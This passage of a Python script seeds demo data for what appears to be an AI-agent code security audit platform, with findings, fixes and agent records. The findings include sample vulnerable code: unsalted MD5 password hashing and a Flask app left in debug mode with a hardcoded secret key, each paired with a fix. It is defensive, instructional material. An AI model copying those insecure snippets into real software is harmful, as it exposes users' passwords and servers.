ALLOWED_HOSTS = ['api.example.com', 'cdn.example.com']

def is_safe_url(url):
    parsed = urlparse(url)

    # 检查协议
    if parsed.scheme not in ['http', 'https']:
        return False

    # 检查是否在白名单
    if parsed.hostname not in ALLOWED_HOSTS:
        return False

    # 检查是否为内网地址
    try:
        ip = ipaddress.ip_address(parsed.hostname)
        if ip.is_private or ip.is_loopback:
            return False
    except ValueError:
        pass

    return True

@app.route('/api/proxy')
def proxy_request():
    target_url = request.args.get('url')

    if not is_safe_url(target_url):
        return "Invalid URL", 400

    response = requests.get(target_url, timeout=5)
    return response.content''',
            "references": [
                {"type": "CWE", "id": "CWE-918", "url": "https://cwe.mitre.org/data/definitions/918.html"},
                {"type": "OWASP", "id": "A10:2021", "url": "https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/"},
            ],
            "ai_confidence": 0.94,
            "cvss_score": 8.6,
            "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
            "tags": ["owasp-top10", "ssrf", "cloud-metadata"],
        },
        {
            "vulnerability_type": VulnerabilityType.HARDCODED_SECRET,
            "severity": VulnerabilitySeverity.MEDIUM,
            "title": "发现硬编码的 API 密钥（误报）",
            "description": "在配置文件中发现硬编码的 API 密钥，经验证为示例配置模板中的占位符。",
            "file_path": "app/config.py.example",
            "line_start": 15,
            "line_end": 18,
            "code_snippet": '''# 示例配置文件 - 请复制为 config.py 并替换实际值
API_KEY = "your-api-key-here"  # 请替换为实际密钥
SECRET_KEY = "change-this-secret"  # 请替换为随机字符串''',
            "status": FindingStatus.FALSE_POSITIVE,
            "is_verified": False,
            "verification_method": "代码审查 - 确认为示例配置模板",
            "verification_result": {"is_example": True, "reason": "File is .example template, not production config"},
            "suggestion": "确保 .example 文件不被误用，在 .gitignore 中排除实际配置文件",
            "ai_confidence": 0.85,
            "tags": ["false-positive", "configuration"],
        },
        {
            "vulnerability_type": VulnerabilityType.WEAK_CRYPTO,
            "severity": VulnerabilitySeverity.MEDIUM,
            "title": "使用不安全的 MD5 哈希算法存储密码",
            "description": "密码哈希使用了已被破解的 MD5 算法，没有使用盐值，容易受到彩虹表攻击和暴力破解。",
            "file_path": "app/utils/crypto.py",
            "line_start": 8,
            "line_end": 12,
            "function_name": "hash_password",
            "code_snippet": '''import hashlib

def hash_password(password):
    # 危险：使用不安全的 MD5 且无盐值
    return hashlib.md5(password.encode()).hexdigest()''',
            "status": FindingStatus.VERIFIED,
            "is_verified": True,
            "verification_method": "代码审查 - 确认使用弱哈希算法",
            "suggestion": "使用 bcrypt、Argon2 或 PBKDF2 等专门的密码哈希算法",
            "fix_code": '''import bcrypt

def hash_password(password):
    # 修复：使用 bcrypt 进行安全的密码哈希
    salt = bcrypt.gensalt(rounds=12)
    return bcrypt.hashpw(password.encode(), salt).decode()

def verify_password(password, hashed):
    return bcrypt.checkpw(password.encode(), hashed.encode())''',
            "references": [
                {"type": "CWE", "id": "CWE-327", "url": "https://cwe.mitre.org/data/definitions/327.html"},
                {"type": "CWE", "id": "CWE-916", "url": "https://cwe.mitre.org/data/definitions/916.html"},
            ],
            "ai_confidence": 0.97,
            "cvss_score": 6.5,
            "cvss_vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N",
            "tags": ["cryptography", "password-storage", "md5"],
        },
        {
            "vulnerability_type": "security_misconfiguration",
            "severity": VulnerabilitySeverity.LOW,
            "title": "生产环境启用了调试模式",
            "description": "Flask 应用在生产环境中启用了调试模式，可能泄露敏感信息和允许远程代码执行。",
            "file_path": "app/__init__.py",
            "line_start": 25,
            "line_end": 28,
            "code_snippet": '''# 应用配置
app = Flask(__name__)
app.debug = True  # 警告：生产环境应禁用
app.secret_key = 'development-key'  # 警告：应使用安全密钥''',
            "status": FindingStatus.NEEDS_REVIEW,
            "is_verified": False,
            "suggestion": "在生产环境中禁用调试模式，使用环境变量配置",
            "fix_code": '''import os

app = Flask(__name__)
app.debug = os.environ.get('FLASK_DEBUG', 'False').lower() == 'true'
app.secret_key = os.environ.get('SECRET_KEY', os.urandom(24))''',
            "references": [
                {"type": "CWE", "id": "CWE-489", "url": "https://cwe.mitre.org/data/definitions/489.html"},
            ],
            "ai_confidence": 0.88,
            "cvss_score": 5.3,
            "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
            "tags": ["configuration", "debug-mode", "information-disclosure"],
        },
    ]

    findings = []
    for i, fdata in enumerate(findings_data):
        verified_at = None
        if fdata.get("is_verified"):
            verified_at = task.started_at + timedelta(minutes=10 + i)

        finding = AgentFinding(
            id=str(uuid.uuid4()),
            task_id=task.id,
            vulnerability_type=fdata["vulnerability_type"],
            severity=fdata["severity"],
            title=fdata["title"],
            description=fdata.get("description"),
            file_path=fdata.get("file_path"),
            line_start=fdata.get("line_start"),
            line_end=fdata.get("line_end"),
            function_name=fdata.get("function_name"),
            code_snippet=fdata.get("code_snippet"),
            source=fdata.get("source"),
            sink=fdata.get("sink"),
            dataflow_path=fdata.get("dataflow_path"),
            status=fdata.get("status", FindingStatus.NEW),
            is_verified=fdata.get("is_verified", False),
            verification_method=fdata.get("verification_method"),
            verification_result=fdata.get("verification_result"),
            verified_at=verified_at,
            has_poc=fdata.get("has_poc", False),
            poc_code=fdata.get("poc_code"),
            poc_description=fdata.get("poc_description"),
            poc_steps=fdata.get("poc_steps"),
            suggestion=fdata.get("suggestion"),
            fix_code=fdata.get("fix_code"),
            fix_description=fdata.get("fix_description"),
            references=fdata.get("references"),
            ai_explanation=fdata.get("ai_explanation"),
            ai_confidence=fdata.get("ai_confidence"),
            xai_what=fdata.get("xai_what"),
            xai_why=fdata.get("xai_why"),
            xai_how=fdata.get("xai_how"),
            xai_impact=fdata.get("xai_impact"),
            cvss_score=fdata.get("cvss_score"),
            cvss_vector=fdata.get("cvss_vector"),
            tags=fdata.get("tags"),
            created_at=task.started_at + timedelta(minutes=5 + i),
        )
        finding.fingerprint = finding.generate_fingerprint()
        findings.append(finding)
        db.add(finding)

    await db.flush()
    print(f"✓ 创建了 {len(findings)} 个漏洞发现")

    return findings


async def create_agent_tree_nodes(db: AsyncSession, task: AgentTask) -> list:
    """创建 Agent 树节点"""

    nodes_data = [
        {
            "agent_id": "orchestrator-001",
            "agent_name": "主控 Agent",
            "agent_type": "orchestrator",
            "parent_agent_id": None,
            "depth": 0,
            "task_description": "协调整体审计流程，分发子任务",
            "knowledge_modules": ["security_patterns", "vulnerability_db"],
            "status": "completed",
            "result_summary": "成功协调完成安全审计，发现 8 个漏洞",
            "findings_count": 8,
            "iterations": 15,
            "tokens_used": 12500,
            "tool_calls": 25,
            "duration_ms": 780000,
        },
        {
            "agent_id": "analyzer-sql-001",
            "agent_name": "SQL 注入分析 Agent",
            "agent_type": "analyzer",
            "parent_agent_id": "orchestrator-001",
            "depth": 1,
            "task_description": "检测和验证 SQL 注入漏洞",
            "knowledge_modules": ["sql_injection_patterns", "database_security"],
            "status": "completed",
            "result_summary": "发现 1 个严重 SQL 注入漏洞并验证成功",
            "findings_count": 1,
            "iterations": 5,
            "tokens_used": 8200,
            "tool_calls": 18,
            "duration_ms": 120000,
        },
        {
            "agent_id": "analyzer-xss-001",
            "agent_name": "XSS 分析 Agent",
            "agent_type": "analyzer",
            "parent_agent_id": "orchestrator-001",
            "depth": 1,
            "task_description": "检测和验证跨站脚本漏洞",
            "knowledge_modules": ["xss_patterns", "frontend_security"],
            "status": "completed",
            "result_summary": "发现 1 个高危存储型 XSS 漏洞",
            "findings_count": 1,
            "iterations": 4,
            "tokens_used": 6800,
            "tool_calls": 12,
            "duration_ms": 95000,
        },
        {
            "agent_id": "analyzer-cmd-001",
            "agent_name": "命令注入分析 Agent",
            "agent_type": "analyzer",
            "parent_agent_id": "orchestrator-001",
            "depth": 1,
            "task_description": "检测操作系统命令注入漏洞",
            "knowledge_modules": ["command_injection_patterns", "shell_security"],
            "status": "completed",
            "result_summary": "发现 1 个严重命令注入漏洞",
            "findings_count": 1,
            "iterations": 4,
            "tokens_used": 7100,
            "tool_calls": 15,
            "duration_ms": 110000,
        },
        {
            "agent_id": "verifier-001",
            "agent_name": "沙箱验证 Agent",
            "agent_type": "verifier",
            "parent_agent_id": "orchestrator-001",
            "depth": 1,
            "task_description": "在隔离沙箱中验证漏洞可利用性",
            "knowledge_modules": ["exploitation_techniques", "poc_generation"],
            "status": "completed",
            "result_summary": "验证 6 个漏洞，排除 1 个误报",
            "findings_count": 6,
            "iterations": 8,
            "tokens_used": 11080,
            "tool_calls": 17,
            "duration_ms": 180000,
        },
    ]

    nodes = []
    for ndata in nodes_data:
        node = AgentTreeNode(
            id=str(uuid.uuid4()),
            task_id=task.id,
            agent_id=ndata["agent_id"],
            agent_name=ndata["agent_name"],
            agent_type=ndata["agent_type"],
            parent_agent_id=ndata["parent_agent_id"],
            depth=ndata["depth"],
            task_description=ndata["task_description"],
            knowledge_modules=ndata["knowledge_modules"],
            status=ndata["status"],
            result_summary=ndata["result_summary"],
            findings_count=ndata["findings_count"],
            iterations=ndata["iterations"],
            tokens_used=ndata["tokens_used"],
            tool_calls=ndata["tool_calls"],
            duration_ms=ndata["duration_ms"],
            created_at=task.started_at,
            started_at=task.started_at + timedelta(seconds=10),
            finished_at=task.completed_at,
        )
        nodes.append(node)
        db.add(node)

    await db.flush()
    print(f"✓ 创建了 {len(nodes)} 个 Agent 树节点")

    return nodes


async def main():
    """主函数"""
    print("=" * 60)
    print("创建 Agent 审计任务演示数据")
    print("=" * 60)

    # 创建数据库连接
    engine = create_async_engine(settings.DATABASE_URL, echo=False, future=True)
    async_session = sessionmaker(engine, class_=AsyncSession, expire_on_commit=False)

    async with async_session() as db:
        try:
            # 获取演示用户
            result = await db.execute(select(User).where(User.email == "demo@example.com"))
            demo_user = result.scalars().first()

            if not demo_user:
                print("❌ 未找到演示用户 (demo@example.com)")
                print("请先运行应用初始化数据库")
                return

            print(f"使用演示用户: {demo_user.email}")

            # 创建或获取演示项目
            project = await get_or_create_demo_project(db, demo_user.id)

            # 创建 Agent 任务
            task = await create_agent_demo_task(db, project, demo_user.id)

            # 创建事件流
            await create_agent_events(db, task)

            # 创建漏洞发现
            await create_agent_findings(db, task)

            # 创建 Agent 树节点
            await create_agent_tree_nodes(db, task)

            # 提交事务
            await db.commit()

            print("=" * 60)
            print("✅ Agent 演示数据创建完成！")
            print(f"   任务 ID: {task.id}")
            print(f"   项目: {project.name}")
            print(f"   发现漏洞: {task.findings_count} 个")
            print(f"   严重程度分布:")
            print(f"     - Critical: {task.critical_count}")
            print(f"     - High: {task.high_count}")
            print(f"     - Medium: {task.medium_count}")
            print(f"     - Low: {task.low_count}")
            print("=" * 60)

        except Exception as e:
            await db.rollback()
            print(f"❌ 创建失败: {e}")
            import traceback
            traceback.print_exc()
            raise


if __name__ == "__main__":
    asyncio.run(main())
